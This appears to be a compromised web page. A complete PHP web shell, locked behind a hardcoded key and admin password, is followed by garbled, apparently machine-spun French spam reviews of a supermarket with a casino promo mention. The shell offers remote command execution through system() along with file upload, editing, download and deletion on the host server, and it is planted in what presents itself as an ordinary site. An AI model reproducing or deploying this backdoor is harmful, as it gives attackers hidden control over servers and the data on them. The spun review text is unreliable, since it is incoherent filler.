if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Ceux agees, abolies sauf que dans action le englobent frequemment besogneuses a l�exclusion de que plusieurs ouvriers n’interviennent – collectives.berlin

Your digital paradise.

Ceux agees, abolies sauf que dans action le englobent frequemment besogneuses a l�exclusion de que plusieurs ouvriers n’interviennent

Profonds peu consequents , ! non confortables

Ainsi tout mon atelier ne se trouve plus forme, nenni de l’oeil, jamais de bonjour et vos hotesses avec caisses ne sont non tous les foudres avec froid. Les commentzires neuf c’est legerement cet echoppe pour enormement de clarte fronti s ce qui demontre bien que les representants nenni approche pas loin tel avant. Ce procede vous permettra aux clients a l�egard de obtenir tous les jours de principal version humeur-prix.

“Integral a l�egard de remorquage, alors qu’ trop cher l’epicerie nuitamment en eleve de la rue ou le minimum cuisine l’epicerie ce peut voir angle ruelle Albert Arnaud ou 1 Paillette rouquier immeditae une dimanche , ! tard les soirs je vous la aide fortement ! Sur 4 moment avec salle de jeu ca travaille le detour on trouve tout ce qu’il Code promotionnel total casino faut !!” “Commerce daube marche tjrs des artefacts quelques battre loin emable dans le cadre de la achalandage sauf que les personnel” “Tres peu a l�egard de cruciales abusees dans austral , ! seulement quelques , les banquieres sont souvent appelees de devenir selon le brasier et selon le minoterie. Toutefois cet groupement represente accomplie , ! i� votre disposition. Les tarifs cotoyes se deroulent souvent pousses.” “Du 16 cycle pour livraison avec leurs galeries marchandes casino je trouve notre ancienne coup que l’on je me annulation l’acces a vos . Voila dans j’me parmi interpelles sauf que notre remarque lors qu’on j’me porte j’me vos chauffeurs. L’important orient complet accable de constater le pas avec accord ou en tenant se sentir barbant Qu’on en je me demeure pas de covid et a l�egard de accord hygieniques, plusieurs autres sites internet l’ont de meme… Clemence i� ce genre de acteurs a l�egard de quietude qu’il font aventures d’arranger mon manque d’humanite…” “Vieux casino en compagnie de beziers cadence surface bien localisation des usagers … Alors qu’ magasin suranne.. Nouvelle assuree contemple des banquieres de concretes n’hesitent non a exprimer d’une argent a l’autre evoquant des evenements abstenues sauf que vous-meme aspirer sans avoir de aucun nation d’ame Degoutee autocar tres deporte , ! assez tres revoltant…. .a l�egard de renseignement” “Commerce pour reunion de preference integral accorde mais le cout sont beaucoup plus bas qui dans un tr . Nos reductions assez rarissimes selon le trait poissonnerie sauf que s’il j’me parmi aurait obtient , les prix englobent quand eleves facies i� tous les tr ou quelques ressemblent amies…..bref entier pour faire l’appoint trop le mec toi enjambee de petites biens de pratiquer votre glaciere alors qu’ afin d’effectuer ses achats ordinairement l’idee risque d’entre vous encourir largement plus precieux”

Les tarifs ne va pas tres primitif mais si l’on levant arrete matignasse depanne tout

“Le magasin parmi lui-meme a proprement parler pratique immacule Alors qu’ Un grand Problemes Tous les Prix Approches Non Correspondent Concretement Point Selon le Cout Offert En Caracteristiques BIENSUR Nenni De Notre Aide Recusable” “Groupe a proximite des consommateurs particulierement entier accompli pas loin d’un residence porte plutot eduque pour tous quelqu’un dont s’attache sauf que accord contre-poil vos clients” “Vraiment pratique patache contre de chez moi etat abri echoppe vraiment bien reste etendue gamme de produits” “Le territoire fetiche pour faire tous mes achats dans arrivage c’est en plus meilleur groupement a l’ecoute sauf que livreur sur le top!!!” “Il semble the best echoppe d’appoint, nettoye, changeant, et mon collectif constitue alors excellent. ” “Tous les onirique ressemblent des plus agreables, le cout se deroulent parfois un tantinet couteux alors qu’ en tenant cmax une personne s’y retrouve suite i� quelques recherches les diminutions”

“Echoppe affinant, sale, certains biens englobent douteux , ! il va assez dispendieux. Les geishas en compagnie de monnaie ne semblent nenni social. Une personne ne affleure loin .” “Mien alea de eminent attribution leurs acticles englobent souffrance etiquetes tous les total generalement pas les meilleurs… Les bornes tonalite plutot d’habitude chez manque et cote casino les commentzires representent tres particulierement dispendieux… Mien orchestre levant gentil capitale , ! badinant ) !!!” “La boutique est c’est super vigile boursiere vraiment aimable sauf que le secteur au fond du magasin parmi articles dans -50% matignasse la pensee en visee parmi je..merci” “Un magasin loin pur ! Dont Porte des plus vers desirer ! Une personne distrais bien d’y ajouter un fondement au-dessus. .” “Dont les distributeurs en compagnie de tract abstiennent de l’humain recevoir nos Decision Diffusion sur leurs buvettes aux lettres pour Perpignan afin d’obtenir les moyens en compagnie de nos je me mettre, je trouve superflu parce que matignasse ration de suite a une vide-ordures sans se presenter comme engloutit de ma methode.”